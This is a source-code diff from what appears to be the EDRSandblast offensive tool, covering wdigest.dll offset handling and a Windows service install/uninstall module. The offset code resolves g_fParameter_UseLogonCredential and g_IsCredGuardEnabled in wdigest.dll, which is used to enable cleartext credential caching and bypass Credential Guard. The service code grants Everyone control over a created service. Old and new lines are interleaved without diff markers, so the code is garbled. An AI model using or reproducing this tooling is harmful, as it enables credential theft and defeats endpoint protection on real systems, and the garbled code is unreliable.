union WdigestOffsets g_wdigestOffsets = { 0 };
// Return the offsets of nt!PspCreateProcessNotifyRoutine, nt!PspCreateThreadNotifyRoutine, nt!PspLoadImageNotifyRoutine, and nt!_PS_PROTECTION for the specific Windows version in use.
union WdigestOffsets GetWdigestVersionOffsets(TCHAR* wdigestOffsetFilename) {
TCHAR wdigestVersion[256] = { 0 };
GetWdigestVersion(wdigestVersion);
_tprintf(TEXT("[*] System's wdigest.dll file version is: %s\n"), wdigestVersion);
void LoadWdigestOffsetsFromFile(TCHAR* wdigestOffsetFilename) {
LPTSTR wdigestVersion = GetWdigestVersion();
_tprintf_or_not(TEXT("[*] System's wdigest.dll file version is: %s\n"), wdigestVersion);
FILE* offsetFileStream = NULL;
_tfopen_s(&offsetFileStream, wdigestOffsetFilename, TEXT("r"));
union WdigestOffsets offsetResults = { 0 };
if (offsetFileStream == NULL) {
_tprintf(TEXT("[!] Offset CSV file not found / invalid. A valid offset file must be specifed!\n"));
return offsetResults;
_putts_or_not(TEXT("[!] Offset CSV file not found / invalid. A valid offset file must be specifed!"));
return;
}
TCHAR lineWdigestVersion[256];
@@ -37,14 +38,71 @@ union WdigestOffsets GetWdigestVersionOffsets(TCHAR* wdigestOffsetFilename) {
_tcscpy_s(lineWdigestVersion, _countof(lineWdigestVersion), _tcstok_s(dupline, TEXT(","), &tmpBuffer));
if (_tcscmp(wdigestVersion, lineWdigestVersion) == 0) {
TCHAR* endptr;
_tprintf(TEXT("[+] Offsets are available for this version of wdigest.dll (%s)!\n"), wdigestVersion);
// TODO: switch hardcoded value to sizeof or const defined
for (int i = 0; i < 2; i++) {
offsetResults.ar[i] = _tcstoull(_tcstok_s(NULL, TEXT(","), &tmpBuffer), &endptr, 16);
_tprintf_or_not(TEXT("[+] Offsets are available for this version of wdigest.dll (%s)!\n"), wdigestVersion);
for (int i = 0; i < _SUPPORTED_WDIGEST_OFFSETS_END; i++) {
g_wdigestOffsets.ar[i] = _tcstoull(_tcstok_s(NULL, TEXT(","), &tmpBuffer), &endptr, 16);
}
break;
}
}
fclose(offsetFileStream);
return offsetResults;
}
void SaveWdigestOffsetsToFile(TCHAR* wdigestOffsetFilename) {
LPTSTR wdigestVersion = GetWdigestVersion();
FILE* offsetFileStream = NULL;
_tfopen_s(&offsetFileStream, wdigestOffsetFilename, TEXT("a"));
if (offsetFileStream == NULL) {
_putts_or_not(TEXT("[!] Offset CSV file connot be opened"));
return;
}
_ftprintf(offsetFileStream, TEXT("%s"), wdigestVersion);
for (int i = 0; i < _SUPPORTED_WDIGEST_OFFSETS_END; i++) {
_ftprintf(offsetFileStream, TEXT(",%llx"), g_wdigestOffsets.ar[i]);
}
_fputts(TEXT(""), offsetFileStream);
fclose(offsetFileStream);
}
void LoadWdigestOffsetsFromInternet(BOOL delete_pdb) {
LPTSTR wdigestPath = GetWdigestPath();
symbol_ctx* sym_ctx = LoadSymbolsFromImageFile(wdigestPath);
if (sym_ctx == NULL) {
return;
}
g_wdigestOffsets.st.g_fParameter_UseLogonCredential = GetSymbolAddress(sym_ctx, "g_fParameter_UseLogonCredential");
g_wdigestOffsets.st.g_IsCredGuardEnabled = GetSymbolAddress(sym_ctx, "g_IsCredGuardEnabled");
UnloadSymbols(sym_ctx, delete_pdb);
}
TCHAR g_wdigestPath[MAX_PATH] = { 0 };
LPTSTR GetWdigestPath() {
if (_tcslen(g_wdigestPath) == 0) {
// Retrieves the system folder (eg C:\Windows\System32).
TCHAR systemDirectory[MAX_PATH] = { 0 };
GetSystemDirectory(systemDirectory, _countof(systemDirectory));
// Compute wdigest.dll path.
_tcscat_s(g_wdigestPath, _countof(g_wdigestPath), systemDirectory);
_tcscat_s(g_wdigestPath, _countof(g_wdigestPath), TEXT("\\wdigest.dll"));
}
return g_wdigestPath;
}
TCHAR g_wdigestVersion[256] = { 0 };
LPTSTR GetWdigestVersion() {
if (_tcslen(g_wdigestVersion) == 0) {
LPTSTR wdigestPath = GetWdigestPath();
TCHAR versionBuffer[256] = { 0 };
GetFileVersion(versionBuffer, _countof(versionBuffer), wdigestPath);
_stprintf_s(g_wdigestVersion, 256, TEXT("wdigest_%s.dll"), versionBuffer);
}
return g_wdigestVersion;
}
+165
View File
@@ -0,0 +1,165 @@
#include "../EDRSandblast.h"
#include "WindowsServiceOps.h"
BOOL ServiceAddEveryoneAccess(SC_HANDLE serviceHandle) {
BOOL status = FALSE;
DWORD dwSizeNeeded;
PSECURITY_DESCRIPTOR oldSd, newSd;
SECURITY_DESCRIPTOR dummySdForXP;
SID_IDENTIFIER_AUTHORITY SIDAuthWorld = SECURITY_WORLD_SID_AUTHORITY;
EXPLICIT_ACCESS ForEveryoneACL = {
SERVICE_QUERY_STATUS | SERVICE_QUERY_CONFIG | SERVICE_INTERROGATE | SERVICE_ENUMERATE_DEPENDENTS | SERVICE_PAUSE_CONTINUE | SERVICE_START | SERVICE_STOP | SERVICE_USER_DEFINED_CONTROL | READ_CONTROL,
SET_ACCESS,
NO_INHERITANCE,
{NULL, NO_MULTIPLE_TRUSTEE, TRUSTEE_IS_SID, TRUSTEE_IS_WELL_KNOWN_GROUP, NULL}
};
if (!QueryServiceObjectSecurity(serviceHandle, DACL_SECURITY_INFORMATION, &dummySdForXP, 0, &dwSizeNeeded) && (GetLastError() == ERROR_INSUFFICIENT_BUFFER)) {
oldSd = (PSECURITY_DESCRIPTOR)LocalAlloc(LPTR, dwSizeNeeded);
if (oldSd) {
if (QueryServiceObjectSecurity(serviceHandle, DACL_SECURITY_INFORMATION, oldSd, dwSizeNeeded, &dwSizeNeeded)) {
if (AllocateAndInitializeSid(&SIDAuthWorld, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, (PSID*)&ForEveryoneACL.Trustee.ptstrName)) {
if (BuildSecurityDescriptor(NULL, NULL, 1, &ForEveryoneACL, 0, NULL, oldSd, &dwSizeNeeded, &newSd) == ERROR_SUCCESS) {
status = SetServiceObjectSecurity(serviceHandle, DACL_SECURITY_INFORMATION, newSd);
LocalFree(newSd);
}
FreeSid(ForEveryoneACL.Trustee.ptstrName);
}
}
LocalFree(oldSd);
}
}
return status;
}
DWORD ServiceInstall(PCTSTR serviceName, PCTSTR displayName, PCTSTR binPath, DWORD serviceType, DWORD startType, BOOL startIt) {
SC_HANDLE hSC = NULL;
SC_HANDLE hS = NULL;
hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE);
if (hSC) {
hS = OpenService(hSC, serviceName, SERVICE_START);
if (hS) {
_tprintf_or_not(TEXT("[+] \'%s\' service already registered\n"), serviceName);
}
else {
if (GetLastError() == ERROR_SERVICE_DOES_NOT_EXIST) {
_tprintf_or_not(TEXT("[*] \'%s\' service was not present\n"), serviceName);
hS = CreateService(hSC, serviceName, displayName, READ_CONTROL | WRITE_DAC | SERVICE_START, serviceType, startType, SERVICE_ERROR_NORMAL, binPath, NULL, NULL, NULL, NULL, NULL);
if (hS) {
_tprintf_or_not(TEXT("[+] \'%s\' service is successfully registered\n"), serviceName);
if (ServiceAddEveryoneAccess(hS)) {
_tprintf_or_not(TEXT("[+] \'%s\' service ACL configured to for Everyone\n"), serviceName);
}
else {
_putts_or_not(TEXT("[!] ServiceAddEveryoneAccess"));
}
}
else {
PRINT_ERROR_AUTO(TEXT("CreateService"));
}
}
else {
PRINT_ERROR_AUTO(TEXT("OpenService"));
}
}
if (hS) {
if (startIt) {
if (StartService(hS, 0, NULL)) {
_tprintf_or_not(TEXT("[+] \'%s\' service started\n"), serviceName);
}
else if (GetLastError() == ERROR_SERVICE_ALREADY_RUNNING) {
_tprintf_or_not(TEXT("[*] \'%s\' service already started\n"), serviceName);
}
else {
PRINT_ERROR_AUTO(TEXT("StartService"));
return GetLastError();
}
}
CloseServiceHandle(hS);
}
CloseServiceHandle(hSC);
}
else {
PRINT_ERROR_AUTO(TEXT("OpenSCManager(create)"));
return GetLastError();
}
return 0x0;
}
BOOL ServiceGenericControl(PCTSTR serviceName, DWORD dwDesiredAccess, DWORD dwControl, LPSERVICE_STATUS ptrServiceStatus) {
BOOL status = FALSE;
SC_HANDLE hSC, hS;
SERVICE_STATUS serviceStatus;
hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT);
if (hSC) {
hS = OpenService(hSC, serviceName, dwDesiredAccess);
if (hS) {
status = ControlService(hS, dwControl, ptrServiceStatus ? ptrServiceStatus : &serviceStatus);
CloseServiceHandle(hS);
}
CloseServiceHandle(hSC);
}
return status;
}
BOOL ServiceUninstall(PCTSTR serviceName, DWORD attemptCount) {
// Used as a stop point for recursive calls to ServiceUninstall.
if (attemptCount > MAX_UNINSTALL_ATTEMPTS) {
_tprintf_or_not(TEXT("[!] Reached maximun number of attempts (%i) to uninstall the service \'%s\'\n"), MAX_UNINSTALL_ATTEMPTS, serviceName);
return FALSE;
}
if (ServiceGenericControl(serviceName, SERVICE_STOP, SERVICE_CONTROL_STOP, NULL)) {
_tprintf_or_not(TEXT("[+] \'%s\' service stopped\n"), serviceName);
}
else if (GetLastError() == ERROR_SERVICE_NOT_ACTIVE) {
_tprintf_or_not(TEXT("[*] \'%s\' service not running\n"), serviceName);
}
else if (GetLastError() == ERROR_SERVICE_CANNOT_ACCEPT_CTRL) {
_tprintf_or_not(TEXT("[*] \'%s\' service cannot accept control messages at this time, waiting...\n"), serviceName);
Sleep(OP_SLEEP_TIME);
}
else {
PRINT_ERROR_AUTO(TEXT("ServiceUninstall"));
Sleep(OP_SLEEP_TIME);
return ServiceUninstall(serviceName, attemptCount + 1);
}
SERVICE_STATUS status;
BOOL deleted = FALSE;
SC_HANDLE hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT);
if (hSC) {
SC_HANDLE hS = OpenService(hSC, serviceName, SERVICE_QUERY_STATUS | DELETE);
if (hS) {
if (QueryServiceStatus(hS, &status)) {
if (!(status.dwCurrentState == SERVICE_STOPPED)) {
CloseServiceHandle(hS);
CloseServiceHandle(hSC);
Sleep(OP_SLEEP_TIME);
return ServiceUninstall(serviceName, attemptCount + 1);
}
else {
deleted = DeleteService(hS);
CloseServiceHandle(hS);
}
}
}
CloseServiceHandle(hSC);
}
if (!deleted) {
Sleep(OP_SLEEP_TIME);
return ServiceUninstall(serviceName, attemptCount + 1);
}
return deleted;
}